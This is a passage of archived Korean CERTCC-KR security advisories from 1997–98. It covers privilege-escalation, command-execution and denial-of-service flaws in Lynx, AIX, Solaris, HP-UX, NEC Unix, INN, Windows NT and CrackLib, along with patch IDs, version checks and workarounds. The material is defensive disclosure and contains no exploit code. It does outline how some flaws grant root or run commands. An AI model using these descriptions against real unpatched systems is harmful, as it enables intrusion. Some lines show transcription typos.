Lynx 사용자는 captive 조건하에서 쉘프롬프트 또는 임의의 명령을 실행할 수 없지만, 이

취약점을 이용하여 쉘프롬프트에 접근 할 수 있다.

2. 전체 Lynx 환경

웹관리자가 자신의 홈페이지에 특별히 조작된 URL을 등록하여 Lynx 사용자가 인지하지 못

하는 사이 로컬 시스템에서 임의의 명령을 수행하도록 할 수 있다.

--해결책-------------------------------------

1997-06-26 이후 버전의 Lynx는 이러한 취약점이 해결되었으며, Lynx 2.7.1 버전에대한

패치는 다음 사이트에서 제공된다.

http://www.slcc.edu/lynx/fote/patches/lynx2-7-1/src/LYDownload.c

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka-94.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-94.txt

Page 927: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-95-AIX piodmgrsu

------------------------------------------

최초작성일 : 1998/01/22

갱신일 :

출처 : ERS-SVA-E01-1997:0007.1

--제목--------------------------------------

AIX piodmgrsu 취약점과 대책

--설명--------------------------------------

piodmgrsu는 AIX 4.1에 처음 포함되었으며, 프린터 후처리기의 대체 ODM 데이터베이스에

서 다양한 기능을 수행한다. 이 명령어는 시스템내의 일반 사용자가 ‘printq' 관리그룹에 접

근할 수 있게 하는 환경을 자프로세스에 전달해주는 문제점을 가지고 있다.

--해결책-------------------------------------

1. AIX 4.1

다음패치를 적용한다.

APAR - IX71514

위의 패치가 적용되었는지 확인하기 위해 다음의 명령을 이용한다.

instfix -ik IX71514

또는

lslpp -h printers.rte

printers.rte의 버전이 4.1.5.4 이상인지 확인

2. AIX 4.2

다음 패치를 적용한다

APAR - IX71517

패치의 적용여부 확인은 다음과 같이 한다.

instfix -ik IX71517

또는

lslpp -h printers.rte

printers.rte의 버전이 4.2.1.2 이상인지를 확인한다.

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka-95.txt

Page 928: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-95.txt

Page 929: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-96-AIX ftp client

------------------------------------------

최초작성일 : 1998/01/22

갱신일 :

출처 : IBM ERS-SVA-E01-1997:009.1

--제목--------------------------------------

AIX ftp client 취약점과 대책

--설명--------------------------------------

원격 서버가 ftp 클라이언트 시스템에서 임의의 명령을 수행시킬 수 있다. 원격 파일이 파

이프 심볼로 시작하는 경우에 ftp 클라이언트는 그 파일의 내용을 쉘스크립트처럼 수행하게

되며, 이를 이용하여 클라이언트 시스템의 관리자 권한을 획득할 수 있다.

--해결책-------------------------------------

1. AIX 3.2

패치가 적용되지 않으므로 OS 버전을 업그레이드한다.

2. AIX 4.1

다음 패치를 적용한다.

APAR - IX70885

패치가 적용되었는지 확인하기 위해 다음과 같이 한다.

instfix -ik IX70885

또는

lslpp -h bos.net.tcp.client

bos.net.tcp.client의 버전이 4.1.5.13 이상인지를 확인한다.

3. AIX 4.2

다음 패치를 적용한다

APAR - IX70886

확인은 다음과 같이 한다.

instfix -ik IX70886

또는

lslpp -h bos.net.tcp.client

bos.net.tcp.client의 버전이 4.2.1.10 이상인지를 확인한다.

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka-96.txt

Page 930: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-96.txt

Page 931: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-97-Solaris ftpd/rlogind

------------------------------------------

최초작성일 : 1998/01/22

갱신일 :

출처 : Sun Security Bulletin #00156

--제목--------------------------------------

Solaris ftpd/rlogind 취약점과 대책

--설명--------------------------------------

이 취약점을 이용해 일반 사용자가 ftp 서버의 데이터 포트를 통해 ftp 서버가 설치된 호스

트를 신뢰하는 호스트의 rlogin 서버에 접속해서 임의의 명령을 수행시킬 수 있다.

--해결책-------------------------------------

다음의 URL에서 패치를 가져다가 적용한다.

http://sunsolve.sun.com/sunsolve/pubpatches/patches.html

패치 리스트는 다음과 같다.

OS version Patch ID

------ ------

SunOS 5.5.1 103603-05

104935-01

SunOS 5.5.1_x86 103604-05

104936-01

SunOS 5.5 103577-06

104933-01

SunOs 5.5_x86 103578-06

104934-01

SunOS 5.4 101945-51

SunOS 5.4_x86 101946-45

SunOS 5.3 104938-01

SunOS 4.1.4 104477-03

SunOS 4.1.3_U1 104454-03

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka-97.txt

Page 932: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-97.txt

Page 933: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-98-SUN sysdef

------------------------------------------

최초작성일 : 1998/01/22

갱신일 :

출처 : Sun Security bulletin #00157

--제목--------------------------------------

sysdef 취약점과 대책

--설명--------------------------------------

sysdef 명령은 시스템의 하드웨어 디바이스, 가상 디바이스, 시스템 디바이스, 수행가능한

모듈, 커널 파라미터 값 등의 구성정보를 보여 준다. 이 취약점을 통해 일반 사용자가 커널

메모리를 읽을 수 있으며, 이를 통해 암호화되지 않은 패스워드 등 임의의 정보를 알아내거

나, 관리자 권한을 획득할 수 있다.

--해결책-------------------------------------

아래에서 패치를 가져다가 적용한다.

http://sunsolve.sun.com/sunsolve/pubpatches/patches.html

패치 리스트는 다음과 같다.

OS version Patch ID

-------- -------

SunOS 5.5.1 105092-01

SunOS 5.5.1_x86 105093-01

SunOS 5.5 105101-01

SunOs 5.5_x86 105102-01

SunOS 5.4 105099-01

SunOS 5.4_x86 105100-01

SunOS 5.3 105205-01

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka-98.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

Page 934: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-98.txt

Page 935: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-98-01-NEC nosuid

------------------------------------------

최초작성일 : 1997/10/10

갱신일 :

출처 : CERT VB-97.11('97. 10. 10)

--제목--------------------------------------

nosuid 취약점과 대책

--설명--------------------------------------

"nosuid" 마운트 옵션은 파일시스템의 파일에 대하여 setuid나 setgid 설정을 무시하도록

한다. 그러나, NEC 유닉스의 일부버전에서 “nosuid" 옵션으로 마운트된파일 시스템에 대하

여 setuid나 setgid 설정이 가능하도록 해주는 문제점이 있다. 이 취약점을 이용하여 일반

사용자는 다른 사용자가 명령어를 실행시킨 것처럼 명령어 실행을 숨길 수 있고 관리자

(root) 권한도 획득할 수 있다. NEC 유닉스의 다음 버전들에 문제가 있다.

EWS-UX/V(Rel4.2) R7.x - R10.x

EWS-UX/V(Rel4.2MP) R10.x> UP-UX/V(Rel4.2MP) R5.x - R7.x

UX/4800 R11.x - 12.1

--해결책-------------------------------------

nosuid로 마운트된 파일시스템의 마운트 설정을 해제하거나, 패치를 설치한다.

OS version Patch ID

------------- --------

EWS-UX/V(Rel4.2) R7.x NECe70093

EWS-UX/V(Rel4.2) R8.x NECe80121

EWS-UX/V(Rel4.2) R9.x NECe90281, NECe90282(for 110N)

EWS-UX/V(Rel4.2) R10.x NECea0618

EWS-UX/V(Rel4.2MP) R10.x NECma0378

UP-UX/V(Rel4.2MP) R5.x NECu50078

UP-UX/V(Rel4.2MP) R6.x NECu60217

UP-UX/V(Rel4.2MP) R7.x NECu70541

UX/4800 R11.x NECmb0668

UX/4800 R12.x NECmb0054

이들 패치는 다음에서 구할 수 있다.

ftp://ftp.meshnet.or.jp/pub/48pub/security

Page 936: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

추가적인 정보가 필요한 경우는 다음으로 문의할 수 있다.

mailto://[email protected]

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-01.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-01.txt

Page 937: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-98-02-Solarisioctls

------------------------------------------

최초작성일 : 1998/02/05

갱신일 :

출처 : Sun Security Bulletin #00152(97.8.25)

--제목--------------------------------------

Solaris ifconfig ioctls 취약점과 대책

--설명--------------------------------------

ifconfig는 네트워크 인터페이스의 주소를 할당하고, 파라메터를 설정하는 명령어인데 관리

자(root)만이 이 명령어를 사용할 수 있다. mfj나 이 ifconfig 명령어는 관리자(root)가 아닌

일반 사용자도 네트워크 인터페이스를 임의로 설정할 수 있게금 하는 취약점을 가지고 있

다.

이 취약점을 가진 OS버전은 5.5.1, 5.5.1_x86, 5.5_x86, 5.4, 5.4_x86, 5.3으로서 취약점이

이미 수정된 SunOS 버전은 Solaris 2.6이다.

--해결책-------------------------------------

다음의 패치를 설치한다.

OS version Patch ID

ꡈꡈꡈꡈꡈꡈꡈꡈꡈꡈ ꡈꡈꡈꡈꡈꡈꡈꡈꡈSunOS 5.5.1 103640-09

SunOS 5.5.1_x86 103641-09

SunOS 5.5 103093-14

SunOs 5.5_x86 103094-11

SunOS 5.4 101945-50

SunOS 5.4_x86 101946-44

SunOS 5.3 101318-87

이상의 패치는 다음에서 구할수 있다.

ftp://sunsolve1.sun.com/pub/patches/patches.html

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-02.txt

Page 938: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-02.txt

Page 939: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-98-03-HPUXtelnet

------------------------------------------

최초작성일 : 1998/02/06

갱신일 :

출처 : HPSBUX9710-070-97.10.1

--제목--------------------------------------

HP-UX telnet 서비스거부공격과 대책

--설명--------------------------------------

HP-UX release 10.30에서 제공하는 telnet 서비스는 취약점이 있어 시스템의 정상작동을

방해하는 서비스거부공격이 가능하다.

--해결책-------------------------------------

패치를 설치한다.

PHNE_12608 for HP-UX release

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-03.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-03.txt

Page 940: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-98-04-INN NewsServer

------------------------------------------

최초작성일 : 1998/02/07

갱신일 :

출처 : CIAC-H-85(97.7.22)

--제목--------------------------------------

INN 뉴스서버 취약점과 대책

--설명--------------------------------------

INN 1.6 이전 버전의 뉴스 서버 버퍼오버플로우 취약점을 이용하여 원격사용자들이 임의의

명령을 수행시키거나 접근 권한을 획득할 수 있다. 이 취약점을 이용하려면 POST 권한이

주어져야 하지만, 뉴스 서버의 뉴스 전달 방법의 특성상하나의 시스템이 공격을 받게 되면

다른 시스템도 쉽게 공격 받을 수 있다. 시스템에 설치된 INN 뉴스 서버의 버전은 다음과

같은 명령을 이용하여 확인할 수 있다.

%telnet localhost 119

Tryping 127.0.0.1...

Connected to localhost.

Escape character is '^]'

200 freebsd.secnet.com InterNetNews NNRP server INN 1.5.1

17-Dec-1996 ready

결과가 이와 같이 출력되는 경우는 INN 1.6 이전의 버전을 나타내며, 이들은 취약점을 가

지고 있다. 그러나, 만약 다음과 같은 메시지가 출력되면, NNTP가 수행되지 않고 있다는

것을 의미한다.

telnet: Unable to connect to remote host: Connection refused

--해결책-------------------------------------

INN 1.6 버전으로 업그레이드 한다. INN 1.6 버전은 다음에서 구할 수 있다.

ftp://ftp.isc.org/isc/inn

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-04.txt

Page 941: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-04.txt

Page 942: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-98-05-WinNTNtOpenProcessToken

------------------------------------------

최초작성일 : 1998/02/09

갱신일 :

출처 : CIAC-H-84(97.7.22)

--제목--------------------------------------

NT NtOpenProcessToken 취약점과 대책

--설명--------------------------------------

일반 사용자가 마이크로소프트사의 원도즈NT(Windows NT) 4.0의 취약점을 이용하여 관

이자 권한을 획득할 수 있도록 하는 침입자용 유틸리티가 공개되어 있다. 이 유틸리티는 새

로운 사용자를 관리자 그룹에 첨가하는 기능을 수행하기 때문에, 공격자는 쉽게 관리자 권

한을 획득할 수 있다. 특히, 관리자 그룹은 사용자의등록 및 삭제와 기타 보안 관련 기능들

에 대한 환경을 설정 할 수 있으므로, 공격자는 임의로 시스템을 수정할 수 있다. 이 유틸

리티는 관리자 그룹이나 “Debug Programs" 권한을 가진 그룹이나 사용자는 모두 수행 시

킬 수 있다.

--해결책-------------------------------------

다음을 적용한다.

1. 먼저 Service Pack 3를 설치하고, Microsoft hotfix를 적용한다.

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/geta

dmin-fix/

2. Debug 권한을 신뢰할 수 있는 사용자에 대해서만 허용한다.

“Debug Programs" 권한을 가진 사용자를 점검하거나 권한 변경을 하는 방법은 다음과 같

다.

ⅰ) Windows NT Workstation이나 Server에 관리자 권한으로 로그인 한다.

ⅱ) “사용자 관리자(User Manager)"를 연다.

ⅲ) “정책(Policies)"을 선택하고 ”사용자 권한(User Right)"을 선택한다.

ⅳ) “고급 사용자 권한 보기(Show Advanced User Rights)" 박스의 내용을 점검한

다.(”Debug Programs"는 고급 사용자 권한이다.)

ⅴ) “Debug Programs"권한을 선택하고, 필요한 사용자나 그룹을 추가 혹은 삭제한다.

3. 사용자들에 대해서 Windows NT Server의 콘에 대한 접근을 방지한다.

4. 관리자 권한을 갖는 사용자 수를 제한하고, 관리자 계정에 대하여 접근할 수 있는 사용

자들의 수를 제한한다.

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-05.txt

Page 943: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-05.txt

Page 944: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-98-06-SolarisNIS+

------------------------------------------

최초작성일 : 1998/02/10

갱신일 :

출처 : Sun Microsystems, Inc. Security Bulletin #00148(97.7.30)

--제목--------------------------------------

Solaris NIS+ 취약점과 대책

--설명--------------------------------------

NIS+ 는 Solaris용 네트워크 네임 서비스 시스템이다. 네임 서비스의 선택은

/etc/nsswitch.conf 파일에서 설정하며, NIS+가 선택되면 setuid root 허가를 가진 프로그

램들이 nss_nispls.so.1과 링크되는데 이 프로그램들은 없는 사용자 버퍼 오버플로우 취약

점을 가지고 있다. 따라서 이, 취약점을 이용하여 권한이들이 관리자(root)권한을 얻을 수

있다.

--해결책-------------------------------------

다음의 패치를 설치한다.

OS version Patch ID

----- -----

SunOS 5.4 102277-03

SunOS 5.4_x86 102278-03

SunOS 5.3 101736-04

위의 패치는 다음 장소에서 받을 수 있다.

ftp://sunsolve1.sun.com/pub/patches/patches.html

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 원문을 참조바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-06.txt

Page 945: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-98-07-HPUX UID and GID

------------------------------------------

최초작성일 : 1998/02/11

갱신일 :

출처 : HPSBUX9611-041 (96.11.21)

--제목--------------------------------------

HP-UX UID/GID 취약점과 대책

--설명--------------------------------------

HP-UX 버전 10.20에서 60000보다 더 큰 사용자ID나 그룹 ID를 사용할 경우 일부프로그

램에서 버퍼 오버플로우 문제가 발생한다.

--해결책-------------------------------------

PHSS_11309 패치를 설치한다. 원문의 스크립트는 패치를 인스톨하고, 모든 suid 파일을

점검하여 의심가는 suid파일을 찾아 스크립트이다(원문참조).

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-07.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-07.txt

Page 946: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-98-08-Novell Netware 3.12

------------------------------------------

최초작성일 : 1998/02/12

갱신일 :

출처 : HPSBUX9707-068(97.7.30)

--제목--------------------------------------

HP-UX Novell Netware 취약점과 대책

--설명--------------------------------------

HP-UX 9.04와 10.x 운영체제상의 Novell Netware 3.12프로그램들의 취약성으로 인해 일

반 사용자가 접근이 허가되지 않은 PC의 파일을 읽을 수 있다.

--해결책-------------------------------------

다음의 패치를 설치한다.

PHNE_11684 for HP-UX release 9.04, or

PHNE_11341 for HP-UX release 10.01, and

PHNX_11722 for HP-UX release 10.01, or

PHNX_11723 for HP-UX release 10.10, or

PHNX_11724 for HP-UX release 10.20.

현재 모든 패치가 가능하다.

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-07.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-08.txt

Page 947: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-98-09-AIXportmir

------------------------------------------

최초작성일 : 1998/02/02

갱신일 :

출처 : ERS-SVA-E01-1997:006.1

--제목--------------------------------------

AIX portmir 명령 취약점과 대책

--설명--------------------------------------

portmir 명령은 일반 사용자에게 관리자 권한을 허용할 수 있는 취약점을 가지고 있다.

--해결책-------------------------------------

1.공식패치(APAR)를 적용하기 전까지 관리자 권한으로 다음과 같은 명령을 수행하여

setuic 비트 설정을 해제한다.

#chmod u-s/usr/sbin/portmir

2.사용자 시스템에 다음과 같은 공식 패치를 적용한다.

APAR-IX71795

3.시스템에 APAR가 있는지 확인하기 위해 다음과 같은 명령을 실행한다.

instifix-ik IX71795 또는

lslpp-h bos.sysmgt.serv_aid bos.sysmgt.serv_aid의 버전이 4.2.1.4이상이어야 한다.

4.패치정보는 다음을 참조한다.

http://service.software.ibm.com/aixsupport

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-09.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-09.txt

Page 948: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-98-10-AIXxdat

------------------------------------------

최초작성일 : 1998/02/03

갱신일 :

출처 : ERS-SVA-E01-1997:004.1

--제목--------------------------------------

AIX xdat 명령 취약점과 대책

--설명--------------------------------------

AIX 버전 43.x의 xdat 명령은 TZ 환경변수를 사용하는데 변수값의 길이를 검사하지 않기

때문에 일반 사용자에게 관리자 권한을 허용할 수 있는 취약점을 가지고 있다.

--해결책-------------------------------------

1. 관리자 권한으로 chmod 555/usr/lpp/X11/bin/xdat 명령을 수행하여 xdat 프로그램에서

suid bit를 제거함으로 문제를 해결한다.

2. IBM은 현재 다음과 같은 공식 패치를 관한 APAR 작업을 진행중이다.

AIX 4.1 : IX72020

AIX 4.2 : IX72021

3. 다음 ftp에서 임시 패치를 받아 설치할 수 있다.

ftp://testcase.sortware.ibm.com/aix/fromibm/security.xdat.tar.Z

4. 임시 패치를 설치하기 위해서 다음과 같은 방법으로 한다.

1) #uncompress < security.xdat.tar.Z | tar xf -

2) "xdat_patch.sh" 스크립트를 사용하거나 다음 명령을 따른다.

# pgp xdat/xdat.pgp xdat/xdat

# cp/usr/lpp/X11/bin/xdat/usr/lpp/X11/bin/xdat.orig

# chmod -s/usr/lpp/X11/bin/xdat.orig

# cp xdat/xdat/usr/lpp/X11/bin/xdat

# chmod 4555/usr/lpp/X11/bin/xdat

이 패치는 완전한 임의 검사를 받지는 않았지만 TZ 환경 변수를 막는다.

새로운 파일이 실행되지 않을 경우 다음의 APAR를 설치한다.

AIX 4.1 : IX69580

AIX 4.2 : IX69180

Page 949: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

5. 패치정보는 다음을 참조한다.

http://service.software.ibm.com/aixsupport

--기타--------------------------------------

http://service.software.ibm.com/aixsupport

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-10.txt

Page 950: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-98-11-CrackLib2.2

------------------------------------------

최초작성일 : 1998/02/04

갱신일 :

출처 : CERT*Vendor-Initiated Bulletin V-97.16

--제목--------------------------------------

CrackLib v2.4 취약점과 대책

--설명--------------------------------------

CrackLib은 쉽게 추측할 수 있는 패스워드를 인증 토큰으로 사용하는 것을 막기 위한 제어

기능을 프로그래머에게 제공하는 소프트웨어 라이브러리이다.

CrackLib v2.5의 보안 취약점으로 인해 /bin/passwd등과 같은 SUID프로그램에 CrackLib

이 사용된 시스템에서 일반사용자가 root 권한을 얻을 수 있다. CrackLib이

PAM(pluggable authenticaion module)의 부분으로 설치된 경우에도 해당 시스템에 문제를

일으킨다.

--해결책-------------------------------------

이 문제가 해결된 CrackLib 2.6버전과 2.5버전의 패치를 다음 웹사이트에서 구할 수 있다.

http://www.users.dircon.co.uk/~crypto/

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-11.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-11.txt

Page 951: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-98-12-IRIXsyserr-and-permission

------------------------------------------

최초작성일 : 1998/02/05

갱신일 :

출처 : 19971103-01-PX

--제목--------------------------------------

IRIX syserr과 permission 프로그램 취약점과 대책

--설명--------------------------------------

syerr 프로그램은 사용자가 정의한 사건(event)을 감시하다가 사건 발생시 지정된 작업을

수행하는 데스크탑 시스템 모니터(Deskrop system Monitor)의 한부분이다. 일반적인 동작

으로 syserr 프로그램은 특정 히스토리(history)파일과 구성(configuration)파일을 조작하는

